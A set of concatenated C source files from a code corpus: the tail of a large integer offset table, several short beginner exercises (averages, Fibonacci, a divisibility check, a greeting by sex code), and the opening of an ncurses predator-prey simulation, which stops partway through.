1423358, /* 16548 */
1423444, /* 16549 */
1423535, /* 16550 */
1423625, /* 16551 */
1423712, /* 16552 */
1423799, /* 16553 */
1423885, /* 16554 */
1423973, /* 16555 */
1424060, /* 16556 */
1424146, /* 16557 */
1424232, /* 16558 */
1424320, /* 16559 */
1424411, /* 16560 */
1424502, /* 16561 */
1424593, /* 16562 */
1424685, /* 16563 */
1424776, /* 16564 */
1424866, /* 16565 */
1424957, /* 16566 */
1425050, /* 16567 */
1425141, /* 16568 */
1425232, /* 16569 */
1425323, /* 16570 */
1425413, /* 16571 */
1425504, /* 16572 */
1425594, /* 16573 */
1425684, /* 16574 */
1425774, /* 16575 */
1425863, /* 16576 */
1425952, /* 16577 */
1426044, /* 16578 */
1426133, /* 16579 */
1426223, /* 16580 */
1426313, /* 16581 */
1426404, /* 16582 */
1426496, /* 16583 */
1426589, /* 16584 */
1426682, /* 16585 */
1426775, /* 16586 */
1426867, /* 16587 */
1426959, /* 16588 */
1427050, /* 16589 */
1427141, /* 16590 */
1427230, /* 16591 */
1427319, /* 16592 */
1427407, /* 16593 */
1427500, /* 16594 */
1427594, /* 16595 */
1427686, /* 16596 */
1427777, /* 16597 */
1427869, /* 16598 */
1427961, /* 16599 */
1428053, /* 16600 */
1428144, /* 16601 */
1428235, /* 16602 */
1428327, /* 16603 */
1428416, /* 16604 */
1428506, /* 16605 */
1428596, /* 16606 */
1428687, /* 16607 */
1428779, /* 16608 */
1428869, /* 16609 */
1428958, /* 16610 */
1429046, /* 16611 */
1429135, /* 16612 */
1429223, /* 16613 */
1429309, /* 16614 */
1429395, /* 16615 */
1429483, /* 16616 */
1429570, /* 16617 */
1429660, /* 16618 */
1429748, /* 16619 */
1429836, /* 16620 */
1429923, /* 16621 */
1430011, /* 16622 */
1430098, /* 16623 */
1430185, /* 16624 */
1430272, /* 16625 */
1430358, /* 16626 */
1430446, /* 16627 */
1430532, /* 16628 */
1430618, /* 16629 */
1430704, /* 16630 */
1430790, /* 16631 */
1430876, /* 16632 */
1430962, /* 16633 */
1431049, /* 16634 */
1431135, /* 16635 */
1431224, /* 16636 */
1431314, /* 16637 */
1431404, /* 16638 */
1431493, /* 16639 */
1431582, /* 16640 */
1431671, /* 16641 */
1431758, /* 16642 */
1431844, /* 16643 */
1431930, /* 16644 */
1432016, /* 16645 */
1432104, /* 16646 */
1432193, /* 16647 */
1432282, /* 16648 */
1432370, /* 16649 */
1432457, /* 16650 */
1432543, /* 16651 */
1432629, /* 16652 */
1432713, /* 16653 */
1432798, /* 16654 */
1432882, /* 16655 */
1432967, /* 16656 */
1433051, /* 16657 */
1433140, /* 16658 */
1433228, /* 16659 */
1433316, /* 16660 */
1433404, /* 16661 */
1433491, /* 16662 */
1433578, /* 16663 */
1433666, /* 16664 */
1433753, /* 16665 */
1433839, /* 16666 */
1433928, /* 16667 */
1434017, /* 16668 */
1434105, /* 16669 */
1434192, /* 16670 */
1434278, /* 16671 */
1434365, /* 16672 */
1434452, /* 16673 */
1434538, /* 16674 */
1434626, /* 16675 */
1434714, /* 16676 */
1434803, /* 16677 */
1434892, /* 16678 */
1434982, /* 16679 */
1435071, /* 16680 */
1435162, /* 16681 */
1435254, /* 16682 */
1435345, /* 16683 */
1435436, /* 16684 */
1435526, /* 16685 */
1435617, /* 16686 */
1435706, /* 16687 */
1435796, /* 16688 */
1435887, /* 16689 */
1435977, /* 16690 */
1436067, /* 16691 */
1436157, /* 16692 */
1436247, /* 16693 */
1436336, /* 16694 */
1436427, /* 16695 */
1436517, /* 16696 */
1436608, /* 16697 */
1436699, /* 16698 */
1436791, /* 16699 */
1436884, /* 16700 */
1436977, /* 16701 */
1437070, /* 16702 */
1437164, /* 16703 */
1437259, /* 16704 */
1437354, /* 16705 */
1437448, /* 16706 */
1437541, /* 16707 */
1437630, /* 16708 */
1437720, /* 16709 */
1437811, /* 16710 */
1437902, /* 16711 */
1437993, /* 16712 */
1438086, /* 16713 */
1438179, /* 16714 */
1438272, /* 16715 */
1438365, /* 16716 */
1438458, /* 16717 */
1438551, /* 16718 */
1438637, /* 16719 */
1438724, /* 16720 */
1438810, /* 16721 */
1438896, /* 16722 */
1438983, /* 16723 */
1439069, /* 16724 */
1439155, /* 16725 */
1439241, /* 16726 */
1439326, /* 16727 */
1439411, /* 16728 */
1439496, /* 16729 */
1439582, /* 16730 */
1439668, /* 16731 */
1439756, /* 16732 */
1439844, /* 16733 */
1439933, /* 16734 */
1440021, /* 16735 */
1440109, /* 16736 */
1440196, /* 16737 */
1440284, /* 16738 */
1440368, /* 16739 */
1440451, /* 16740 */
1440534, /* 16741 */
1440618, /* 16742 */
1440703, /* 16743 */
1440788, /* 16744 */
1440873, /* 16745 */
1440960, /* 16746 */
1441047, /* 16747 */
1441135, /* 16748 */
1441221, /* 16749 */
1441308, /* 16750 */
1441394, /* 16751 */
1441480, /* 16752 */
1441567, /* 16753 */
1441653, /* 16754 */
1441739, /* 16755 */
1441825, /* 16756 */
1441909, /* 16757 */
1441994, /* 16758 */
1442078, /* 16759 */
1442163, /* 16760 */
1442249, /* 16761 */
1442337, /* 16762 */
1442425, /* 16763 */
1442513, /* 16764 */
1442602, /* 16765 */
1442690, /* 16766 */
1442778, /* 16767 */
1442866, /* 16768 */
1442953, /* 16769 */
1443042, /* 16770 */
1443131, /* 16771 */
1443220, /* 16772 */
1443311, /* 16773 */
1443402, /* 16774 */
1443494, /* 16775 */
1443586, /* 16776 */
1443678, /* 16777 */
1443764, /* 16778 */
1443849, /* 16779 */
1443933, /* 16780 */
1444018, /* 16781 */
1444104, /* 16782 */
1444189, /* 16783 */
1444275, /* 16784 */
1444360, /* 16785 */
1444446, /* 16786 */
1444532, /* 16787 */
1444617, /* 16788 */
1444702, /* 16789 */
1444787, /* 16790 */
1444874, /* 16791 */
1444962, /* 16792 */
1445051, /* 16793 */
1445140, /* 16794 */
1445228, /* 16795 */
1445315, /* 16796 */
1445402, /* 16797 */
1445488, /* 16798 */
1445576, /* 16799 */
1445664, /* 16800 */
1445752, /* 16801 */
1445841, /* 16802 */
1445930, /* 16803 */
1446019, /* 16804 */
1446108, /* 16805 */
1446195, /* 16806 */
1446284, /* 16807 */
1446371, /* 16808 */
1446459, /* 16809 */
1446547, /* 16810 */
1446633, /* 16811 */
1446721, /* 16812 */
1446810, /* 16813 */
1446900, /* 16814 */
1446991, /* 16815 */
1447080, /* 16816 */
1447169, /* 16817 */
1447259, /* 16818 */
1447348, /* 16819 */
1447437, /* 16820 */
1447525, /* 16821 */
1447613, /* 16822 */
1447700, /* 16823 */
1447787, /* 16824 */
1447874, /* 16825 */
1447961, /* 16826 */
1448049, /* 16827 */
1448136, /* 16828 */
1448224, /* 16829 */
1448310, /* 16830 */
1448396, /* 16831 */
1448481, /* 16832 */
1448565, /* 16833 */
1448655, /* 16834 */
1448745, /* 16835 */
1448835, /* 16836 */
1448920, /* 16837 */
1449001, /* 16838 */
1449083, /* 16839 */
1449166, /* 16840 */
1449251, /* 16841 */
1449336, /* 16842 */
1449423, /* 16843 */
1449516, /* 16844 */
1449610, /* 16845 */
1449701, /* 16846 */
1449790, /* 16847 */
1449875, /* 16848 */
1449961, /* 16849 */
1450046, /* 16850 */
1450133, /* 16851 */
1450221, /* 16852 */
1450311, /* 16853 */
1450396, /* 16854 */
1450480, /* 16855 */
1450564, /* 16856 */
1450648, /* 16857 */
1450730, /* 16858 */
1450814, /* 16859 */
1450899, /* 16860 */
1450985, /* 16861 */
1451070, /* 16862 */
1451155, /* 16863 */
1451241, /* 16864 */
1451326, /* 16865 */
1451410, /* 16866 */
1451495, /* 16867 */
1451579, /* 16868 */
1451658, /* 16869 */
1451734, /* 16870 */
1451813, /* 16871 */
1451895, /* 16872 */
1451981, /* 16873 */
1452068, /* 16874 */
1452157, /* 16875 */
1452245, /* 16876 */
1452331, /* 16877 */
1452415, /* 16878 */
1452500, /* 16879 */
1452585, /* 16880 */
1452670, /* 16881 */
1452755, /* 16882 */
1452841, /* 16883 */
1452927, /* 16884 */
1453013, /* 16885 */
1453100, /* 16886 */
1453190, /* 16887 */
1453281, /* 16888 */
1453372, /* 16889 */
1453460, /* 16890 */
1453547, /* 16891 */
1453631, /* 16892 */
1453714, /* 16893 */
1453797, /* 16894 */
1453883, /* 16895 */
1453970, /* 16896 */
1454060, /* 16897 */
1454149, /* 16898 */
1454238, /* 16899 */
1454327, /* 16900 */
1454419, /* 16901 */
1454513, /* 16902 */
1454604, /* 16903 */
1454694, /* 16904 */
1454783, /* 16905 */
1454873, /* 16906 */
1454969, /* 16907 */
1455061, /* 16908 */
1455143, /* 16909 */
1455225, /* 16910 */
1455308, /* 16911 */
1455390, /* 16912 */
1455473, /* 16913 */
1455555, /* 16914 */
1455637, /* 16915 */
1455726, /* 16916 */
1455814, /* 16917 */
1455900, /* 16918 */
1455988, /* 16919 */
1456078, /* 16920 */
1456166, /* 16921 */
1456249, /* 16922 */
1456332, /* 16923 */
1456415, /* 16924 */
1456516, /* 16925 */
1456618, /* 16926 */
1456712, /* 16927 */
1456799, /* 16928 */
1456886, /* 16929 */
1456974, /* 16930 */
1457063, /* 16931 */
1457151, /* 16932 */
1457238, /* 16933 */
1457325, /* 16934 */
1457410, /* 16935 */
1457494, /* 16936 */
1457577, /* 16937 */
1457660, /* 16938 */
1457746, /* 16939 */
1457832, /* 16940 */
1457919, /* 16941 */
1458010, /* 16942 */
1458101, /* 16943 */
1458189, /* 16944 */
1458275, /* 16945 */
1458359, /* 16946 */
1458444, /* 16947 */
1458528, /* 16948 */
1458613, /* 16949 */
1458698, /* 16950 */
1458783, /* 16951 */
1458871, /* 16952 */
1458966, /* 16953 */
1459059, /* 16954 */
1459147, /* 16955 */
1459237, /* 16956 */
1459329, /* 16957 */
1459423, /* 16958 */
1459516, /* 16959 */
1459608, /* 16960 */
1459700, /* 16961 */
1459784, /* 16962 */
1459868, /* 16963 */
1459952, /* 16964 */
1460036, /* 16965 */
1460120, /* 16966 */
1460204, /* 16967 */
1460288, /* 16968 */
1460372, /* 16969 */
1460456, /* 16970 */
1460544, /* 16971 */
1460630, /* 16972 */
1460710, /* 16973 */
1460820, /* 16974 */
1460931, /* 16975 */
1461019, /* 16976 */
1461110, /* 16977 */
1461196, /* 16978 */
1461282, /* 16979 */
1461368, /* 16980 */
1461454, /* 16981 */
1461540, /* 16982 */
1461634, /* 16983 */
1461723, /* 16984 */
1461810, /* 16985 */
1461895, /* 16986 */
1461981, /* 16987 */
1462069, /* 16988 */
1462160, /* 16989 */
1462250, /* 16990 */
1462340, /* 16991 */
1462431, /* 16992 */
1462518, /* 16993 */
1462605, /* 16994 */
1462691, /* 16995 */
1462773, /* 16996 */
1462854, /* 16997 */
1462935, /* 16998 */
1463016, /* 16999 */
1463097, /* 17000 */
1463179, /* 17001 */
1463260, /* 17002 */
1463342, /* 17003 */
1463434, /* 17004 */
1463525, /* 17005 */
1463615, /* 17006 */
1463704, /* 17007 */
1463794, /* 17008 */
1463883, /* 17009 */
1463966, /* 17010 */
1464050, /* 17011 */
1464133, /* 17012 */
1464217, /* 17013 */
1464301, /* 17014 */
1464384, /* 17015 */
1464481, /* 17016 */
1464580, /* 17017 */
1464677, /* 17018 */
1464774, /* 17019 */
1464871, /* 17020 */
1464967, /* 17021 */
1465062, /* 17022 */
1465157, /* 17023 */
1465249, /* 17024 */
1465342, /* 17025 */
1465437, /* 17026 */
1465532, /* 17027 */
1465627, /* 17028 */
1465720, /* 17029 */
1465811, /* 17030 */
1465901, /* 17031 */
1465993, /* 17032 */
1466084, /* 17033 */
1466169, /* 17034 */
1466254, /* 17035 */
1466346, /* 17036 */
1466439, /* 17037 */
1466526, /* 17038 */
1466613, /* 17039 */
1466702, /* 17040 */
1466791, /* 17041 */
1466880, /* 17042 */
1466968, /* 17043 */
1467057, /* 17044 */
1467146, /* 17045 */
1467234, /* 17046 */
1467323, /* 17047 */
1467402, /* 17048 */
1467479, /* 17049 */
1467566, /* 17050 */
1467654, /* 17051 */
1467737, /* 17052 */
1467820, /* 17053 */
1467904, /* 17054 */
1467987, /* 17055 */
1468070, /* 17056 */
1468153, /* 17057 */
1468236, /* 17058 */
1468318, /* 17059 */
1468401, /* 17060 */
1468485, /* 17061 */
1468570, /* 17062 */
1468659, /* 17063 */
1468748, /* 17064 */
1468838, /* 17065 */
1468927, /* 17066 */
1469011, /* 17067 */
1469089, /* 17068 */
1469170, /* 17069 */
1469253, /* 17070 */
1469337, /* 17071 */
1469422, /* 17072 */
1469508, /* 17073 */
1469595, /* 17074 */
1469684, /* 17075 */
1469772, /* 17076 */
1469861, /* 17077 */
1469948, /* 17078 */
1470033, /* 17079 */
1470118, /* 17080 */
1470203, /* 17081 */
1470288, /* 17082 */
1470373, /* 17083 */
1470454, /* 17084 */
1470534, /* 17085 */
1470614, /* 17086 */
1470694, /* 17087 */
1470774, /* 17088 */
1470854, /* 17089 */
1470935, /* 17090 */
1471015, /* 17091 */
1471095, /* 17092 */
1471175, /* 17093 */
1471255, /* 17094 */
1471335, /* 17095 */
1471416, /* 17096 */
1471496, /* 17097 */
1471576, /* 17098 */
1471656, /* 17099 */
1471736, /* 17100 */
1471816, /* 17101 */
1471896, /* 17102 */
1471977, /* 17103 */
1472057, /* 17104 */
1472142, /* 17105 */
1472226, /* 17106 */
1472309, /* 17107 */
1472389, /* 17108 */
1472469, /* 17109 */
1472550, /* 17110 */
1472643, /* 17111 */
1472730, /* 17112 */
1472809, /* 17113 */
1472894, /* 17114 */
1472976, /* 17115 */
1473058, /* 17116 */
1473141, /* 17117 */
1473237, /* 17118 */
1473333, /* 17119 */
1473422, /* 17120 */
1473506, /* 17121 */
1473590, /* 17122 */
1473674, /* 17123 */
1473758, /* 17124 */
1473842, /* 17125 */
1473926, /* 17126 */
1474010, /* 17127 */
1474105, /* 17128 */
1474193, /* 17129 */
1474275, /* 17130 */
1474357, /* 17131 */
1474438, /* 17132 */
1474520, /* 17133 */
1474602, /* 17134 */
1474683, /* 17135 */
1474765, /* 17136 */
1474847, /* 17137 */
1474937, /* 17138 */
1475028, /* 17139 */
1475120, /* 17140 */
1475208, /* 17141 */
1475293, /* 17142 */
1475378, /* 17143 */
1475463, /* 17144 */
1475548, /* 17145 */
1475632, /* 17146 */
1475716, /* 17147 */
1475799, /* 17148 */
1475882, /* 17149 */
1475965, /* 17150 */
1476049, /* 17151 */
1476132, /* 17152 */
1476215, /* 17153 */
1476299, /* 17154 */
1476382, /* 17155 */
1476465, /* 17156 */
1476560, /* 17157 */
1476654, /* 17158 */
1476745, /* 17159 */
1476833, /* 17160 */
1476919, /* 17161 */
1477004, /* 17162 */
1477088, /* 17163 */
1477172, /* 17164 */
1477258, /* 17165 */
1477344, /* 17166 */
1477430, /* 17167 */
1477515, /* 17168 */
1477604, /* 17169 */
1477693, /* 17170 */
1477782, /* 17171 */
1477869, /* 17172 */
1477952, /* 17173 */
1478035, /* 17174 */
1478117, /* 17175 */
1478201, /* 17176 */
1478286, /* 17177 */
1478371, /* 17178 */
1478456, /* 17179 */
1478541, /* 17180 */
1478637, /* 17181 */
1478729, /* 17182 */
1478820, /* 17183 */
1478910, /* 17184 */
1479000, /* 17185 */
1479089, /* 17186 */
1479180, /* 17187 */
1479273, /* 17188 */
1479364, /* 17189 */
1479455, /* 17190 */
1479547, /* 17191 */
1479637, /* 17192 */
1479725, /* 17193 */
1479812, /* 17194 */
1479899, /* 17195 */
1479986, /* 17196 */
1480073, /* 17197 */
1480162, /* 17198 */
1480253, /* 17199 */
1480344, /* 17200 */
1480436, /* 17201 */
1480529, /* 17202 */
1480622, /* 17203 */
1480714, /* 17204 */
1480805, /* 17205 */
1480898, /* 17206 */
1480993, /* 17207 */
1481084, /* 17208 */
1481173, /* 17209 */
1481262, /* 17210 */
1481351, /* 17211 */
1481441, /* 17212 */
1481536, /* 17213 */
1481630, /* 17214 */
1481721, /* 17215 */
1481813, /* 17216 */
1481906, /* 17217 */
1482002, /* 17218 */
1482099, /* 17219 */
1482196, /* 17220 */
1482284, /* 17221 */
1482372, /* 17222 */
1482460, /* 17223 */
1482546, /* 17224 */
1482629, /* 17225 */
1482711, /* 17226 */
1482792, /* 17227 */
1482874, /* 17228 */
1482958, /* 17229 */
1483042, /* 17230 */
1483131, /* 17231 */
1483218, /* 17232 */
1483306, /* 17233 */
1483395, /* 17234 */
1483477, /* 17235 */
1483558, /* 17236 */
1483645, /* 17237 */
1483736, /* 17238 */
1483829, /* 17239 */
1483921, /* 17240 */
1484009, /* 17241 */
1484093, /* 17242 */
1484171, /* 17243 */
1484250, /* 17244 */
1484330, /* 17245 */
1484409, /* 17246 */
1484490, /* 17247 */
1484572, /* 17248 */
1484656, /* 17249 */
1484742, /* 17250 */
1484831, /* 17251 */
1484920, /* 17252 */
1485005, /* 17253 */
1485091, /* 17254 */
1485177, /* 17255 */
1485263, /* 17256 */
1485349, /* 17257 */
1485431, /* 17258 */
1485512, /* 17259 */
1485596, /* 17260 */
1485681, /* 17261 */
1485765, /* 17262 */
1485849, /* 17263 */
1485936, /* 17264 */
1486023, /* 17265 */
1486109, /* 17266 */
1486193, /* 17267 */
1486274, /* 17268 */
1486357, /* 17269 */
1486443, /* 17270 */
1486529, /* 17271 */
1486615, /* 17272 */
1486703, /* 17273 */
1486790, /* 17274 */
1486877, /* 17275 */
1486969, /* 17276 */
1487056, /* 17277 */
1487139, /* 17278 */
1487221, /* 17279 */
1487302, /* 17280 */
1487383, /* 17281 */
1487467, /* 17282 */
1487554, /* 17283 */
1487641, /* 17284 */
1487729, /* 17285 */
1487813, /* 17286 */
1487896, /* 17287 */
1487979, /* 17288 */
1488063, /* 17289 */
1488146, /* 17290 */
1488229, /* 17291 */
1488312, /* 17292 */
1488394, /* 17293 */
1488481, /* 17294 */
1488570, /* 17295 */
1488660, /* 17296 */
1488751, /* 17297 */
1488854, /* 17298 */
1488970, /* 17299 */
1489066, /* 17300 */
1489150, /* 17301 */
1489235, /* 17302 */
1489317, /* 17303 */
1489404, /* 17304 */
1489485, /* 17305 */
1489567, /* 17306 */
1489648, /* 17307 */
1489730, /* 17308 */
1489811, /* 17309 */
1489893, /* 17310 */
1489986, /* 17311 */
1490078, /* 17312 */
1490168, /* 17313 */
1490256, /* 17314 */
1490345, /* 17315 */
1490435, /* 17316 */
1490539, /* 17317 */
1490642, /* 17318 */
1490724, /* 17319 */
1490830, /* 17320 */
1490948, /* 17321 */
1491029, /* 17322 */
1491111, /* 17323 */
1491194, /* 17324 */
1491276, /* 17325 */
1491359, /* 17326 */
1491442, /* 17327 */
1491525, /* 17328 */
1491606, /* 17329 */
1491687, /* 17330 */
1491770, /* 17331 */
1491855, /* 17332 */
1491940, /* 17333 */
1492027, /* 17334 */
1492114, /* 17335 */
1492198, /* 17336 */
1492281, /* 17337 */
1492361, /* 17338 */
1492441, /* 17339 */
1492521, /* 17340 */
1492602, /* 17341 */
1492683, /* 17342 */
1492765, /* 17343 */
1492847, /* 17344 */
1492930, /* 17345 */
1493013, /* 17346 */
1493104, /* 17347 */
1493193, /* 17348 */
1493280, /* 17349 */
1493365, /* 17350 */
1493450, /* 17351 */
1493536, /* 17352 */
1493623, /* 17353 */
1493711, /* 17354 */
1493798, /* 17355 */
1493884, /* 17356 */
1493969, /* 17357 */
1494054, /* 17358 */
1494140, /* 17359 */
1494225, /* 17360 */
1494310, /* 17361 */
1494396, /* 17362 */
1494481, /* 17363 */
1494566, /* 17364 */
1494657, /* 17365 */
1494739, /* 17366 */
1494819, /* 17367 */
1494903, /* 17368 */
1494993, /* 17369 */
1495085, /* 17370 */
1495170, /* 17371 */
1495255, /* 17372 */
1495340, /* 17373 */
1495426, /* 17374 */
1495511, /* 17375 */
1495596, /* 17376 */
1495681, /* 17377 */
1495766, /* 17378 */
1495857, /* 17379 */
1495948, /* 17380 */
1496040, /* 17381 */
1496131, /* 17382 */
1496221, /* 17383 */
1496310, /* 17384 */
1496397, /* 17385 */
1496485, /* 17386 */
1496573, /* 17387 */
1496661, /* 17388 */
1496750, /* 17389 */
1496834, /* 17390 */
1496919, /* 17391 */
1497005, /* 17392 */
1497090, /* 17393 */
1497175, /* 17394 */
1497260, /* 17395 */
1497346, /* 17396 */
1497432, /* 17397 */
1497517, /* 17398 */
1497604, /* 17399 */
1497690, /* 17400 */
1497777, /* 17401 */
1497866, /* 17402 */
1497951, /* 17403 */
1498034, /* 17404 */
1498112, /* 17405 */
1498190, /* 17406 */
1498273, /* 17407 */
1498356, /* 17408 */
1498440, /* 17409 */
1498524, /* 17410 */
1498609, /* 17411 */
1498693, /* 17412 */
1498778, /* 17413 */
1498862, /* 17414 */
1498947, /* 17415 */
1499033, /* 17416 */
1499119, /* 17417 */
1499203, /* 17418 */
1499286, /* 17419 */
1499368, /* 17420 */
1499450, /* 17421 */
1499532, /* 17422 */
1499615, /* 17423 */
1499691, /* 17424 */
1499766, /* 17425 */
1499863, /* 17426 */
1499960, /* 17427 */
1500055, /* 17428 */
1500147, /* 17429 */
1500234, /* 17430 */
1500321, /* 17431 */
1500421, /* 17432 */
1500511, /* 17433 */
1500586, /* 17434 */
1500669, /* 17435 */
1500752, /* 17436 */
1500837, /* 17437 */
1500936, /* 17438 */
1501030, /* 17439 */
1501117, /* 17440 */
1501204, /* 17441 */
1501291, /* 17442 */
1501377, /* 17443 */
1501464, /* 17444 */
1501551, /* 17445 */
1501637, /* 17446 */
1501724, /* 17447 */
1501804, /* 17448 */
1501885, /* 17449 */
1501978, /* 17450 */
1502068, /* 17451 */
1502155, /* 17452 */
1502243, /* 17453 */
1502331, /* 17454 */
1502419, /* 17455 */
1502506, /* 17456 */
1502595, /* 17457 */
1502685, /* 17458 */
1502774, /* 17459 */
1502866, /* 17460 */
1502955, /* 17461 */
1503042, /* 17462 */
1503128, /* 17463 */
1503213, /* 17464 */
1503298, /* 17465 */
1503384, /* 17466 */
1503472, /* 17467 */
1503560, /* 17468 */
1503649, /* 17469 */
1503732, /* 17470 */
1503815, /* 17471 */
1503898, /* 17472 */
1503981, /* 17473 */
1504065, /* 17474 */
1504148, /* 17475 */
1504228, /* 17476 */
1504308, /* 17477 */
1504389, /* 17478 */
1504469, /* 17479 */
1504550, /* 17480 */
1504630, /* 17481 */
1504710, /* 17482 */
1504791, /* 17483 */
1504871, /* 17484 */
1504952, /* 17485 */
1505032, /* 17486 */
1505112, /* 17487 */
1505193, /* 17488 */
1505273, /* 17489 */
1505354, /* 17490 */
1505434, /* 17491 */
1505514, /* 17492 */
1505595, /* 17493 */
1505675, /* 17494 */
1505756, /* 17495 */
1505836, /* 17496 */
1505916, /* 17497 */
1506005, /* 17498 */
1506094, /* 17499 */
1506182, /* 17500 */
1506284, /* 17501 */
1506401, /* 17502 */
1506506, /* 17503 */
1506592, /* 17504 */
1506673, /* 17505 */
1506754, /* 17506 */
1506836, /* 17507 */
1506921, /* 17508 */
1507007, /* 17509 */
1507092, /* 17510 */
1507177, /* 17511 */
1507262, /* 17512 */
1507347, /* 17513 */
1507433, /* 17514 */
1507518, /* 17515 */
1507603, /* 17516 */
1507692, /* 17517 */
1507782, /* 17518 */
1507876, /* 17519 */
1507964, /* 17520 */
1508045, /* 17521 */
1508126, /* 17522 */
1508207, /* 17523 */
1508288, /* 17524 */
1508369, /* 17525 */
1508450, /* 17526 */
1508531, /* 17527 */
1508613, /* 17528 */
1508694, /* 17529 */
1508778, /* 17530 */
1508862, /* 17531 */
1508945, /* 17532 */
1509029, /* 17533 */
1509113, /* 17534 */
1509197, /* 17535 */
1509277, /* 17536 */
1509357, /* 17537 */
1509438, /* 17538 */
1509518, /* 17539 */
1509599, /* 17540 */
1509679, /* 17541 */
1509759, /* 17542 */
1509840, /* 17543 */
1509920, /* 17544 */
1510014, /* 17545 */
1510106, /* 17546 */
1510195, /* 17547 */
1510282, /* 17548 */
1510367, /* 17549 */
1510451, /* 17550 */
1510533, /* 17551 */
1510616, /* 17552 */
1510698, /* 17553 */
1510780, /* 17554 */
1510862, /* 17555 */
1510945, /* 17556 */
1511028, /* 17557 */
1511118, /* 17558 */
1511207, /* 17559 */
1511296, /* 17560 */
1511383, /* 17561 */
1511472, /* 17562 */
1511561, /* 17563 */
1511650, /* 17564 */
1511737, /* 17565 */
1511823, /* 17566 */
1511907, /* 17567 */
1511991, /* 17568 */
1512072, /* 17569 */
1512152, /* 17570 */
1512235, /* 17571 */
1512322, /* 17572 */
1512404, /* 17573 */
1512486, /* 17574 */
1512568, /* 17575 */
1512649, /* 17576 */
1512731, /* 17577 */
1512814, /* 17578 */
1512897, /* 17579 */
1512980, /* 17580 */
1513065, /* 17581 */
1513147, /* 17582 */
1513229, /* 17583 */
1513312, /* 17584 */
1513397, /* 17585 */
1513481, /* 17586 */
1513566, /* 17587 */
1513651, /* 17588 */
1513736, /* 17589 */
1513821, /* 17590 */
1513903, /* 17591 */
1513983, /* 17592 */
1514062, /* 17593 */
1514142, /* 17594 */
1514221, /* 17595 */
1514308, /* 17596 */
1514394, /* 17597 */
1514480, /* 17598 */
1514568, /* 17599 */
1514656, /* 17600 */
1514744, /* 17601 */
1514833, /* 17602 */
1514921, /* 17603 */
1515008, /* 17604 */
1515094, /* 17605 */
1515181, /* 17606 */
1515269, /* 17607 */
1515356, /* 17608 */
1515443, /* 17609 */
1515530, /* 17610 */
1515617, /* 17611 */
1515704, /* 17612 */
1515792, /* 17613 */
1515881 };
|
the_stack_data/1239359.c
|
#include <stdio.h>
int main() {
float A,r,B;
scanf("%f%f",&A,&B);
r=((A*3.5)+(B*7.5))/(11);
printf("MEDIA = %.5f\n",r);
return 0;
}
|
the_stack_data/128661.c
|
/*
"Copyright (c) 2017 GANGADHAR KORRAPATI"
MIT License
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
/*ActivitySelectionProblem*/
#include<stdio.h>
int main(){
return 0;
}
|
the_stack_data/368433.c
|
#include<stdio.h>
int main()
{
int n,i=1,c=0;
while(c!=1500)
{
if(i%2==0 || i%3==0 || i%5==0)
{
c++;
}
i++;
}
printf("The 1500'th ugly number is %d.\n",i-1);
return 0;
}
|
the_stack_data/247017023.c
|
#include<stdio.h>
#include<math.h>
int main() {
char nome[30];
char sexo;
scanf("%c", &sexo);
scanf("%s", nome);
switch(sexo) {
case 'm':
printf("Ilmo. Sr. %s", nome);
break;
case 'f':
printf("Ilma. Sra. %s", nome);
break;
default:
printf("Codigo invalido");
break;
}
return 0;
}
|
the_stack_data/103265387.c
|
#include <stdio.h>
int a,b;
main()
{
scanf("%d %d",&a,&b);
if(a==0&&b==0)
{
printf("NIESKONCZONOSC");
}
//*/
else if((a==0%b!=0)||(b%a!=0))
{
printf("0");
}//*/
else
{
printf("1");
}
}
|
the_stack_data/91956.c
|
#include<stdio.h>
int main(void){
int a=1,b=1,c;
while(1){
if(a>1000000)
break;
printf("%7d\n",a);
c=a+b;
a=b;
b=c;
}
printf("\nGolden Ratio is %.10f\n",(float)b/(float)a);
}
|
the_stack_data/19652.c
|
#include <stdio.h>
#include <string.h>
#include <ncurses.h>
#include <stdlib.h>
#include <time.h>
int SCREENWIDTH = 150;
int SCREENHEIGHT = 40;
int ARBLIMIT = 100;
int MAXGENESIZE = 80;
int MAXTRIES = 5;
char BLANKCHAR = '.';
char GRASSCHAR = '|';
char RABBITCHAR = 'r';
char FOXCHAR = 'F';
int MAXGRASSHEALTH = 20;
int MAXRABBITHEALTH = 40;
int MAXFOXHEALTH = 100;
int INITGRASS = 200;
int INITRABBITS = 50;
int INITFOXES = 0;
int Speed = 1;
int Mode = 2;
int TOTALRUNS = 0;
int MAXPLAYERS = 10000;
int GRASSNUTRITION = 10;
int RABBITNUTRITION = 60;
typedef enum {
AllOK = 0,
GeneralError,
NoFreeSpaceError,
OutOfRangeError,
NoFreePointError,
SlotNotFreeError,
ForcedExitError,
OutOfMemError,
MallocError
} ReturnState;
struct ScreenPoint {
int X;
int Y;
};
typedef enum {
False = 0,
True
} Boolean;
typedef enum {
clNone = 0,
clPlant,
clHerb,
clCarn
} EntityClass;
typedef enum {
idNone = 0,
idGrass,
idRabbit,
idFox
} EntityName;
typedef enum {
Stay = 0,
Continue,
MoveRight,
MoveUpRight,
MoveUp,
MoveUpLeft,
MoveLeft,
MoveDownLeft,
MoveDown,
MoveDownRight
} Action;
struct Entity {
EntityClass Class;
EntityName Name;
char Appearance;
int X, Y;
char *GString;
int MaxHealth, Health, GenePointer;
Boolean Visible;
Action (*GetMove) (struct Entity **this);
Action (*HandleObstacle) (struct Entity *this, struct Entity *that);
ReturnState (*HideEntity) (struct Entity *this);
ReturnState (*KillEntity) (struct Entity **this);
ReturnState (*SpawnEntity) (void);
};
struct Entity **EntityArray;
// Trust me, I know how it looks, but this next line is an absolute necessity!
struct Entity ****ScreenArray;
// Grass functions
Action GrowGrass (struct Entity **this);
// HandleObstacle = NULL
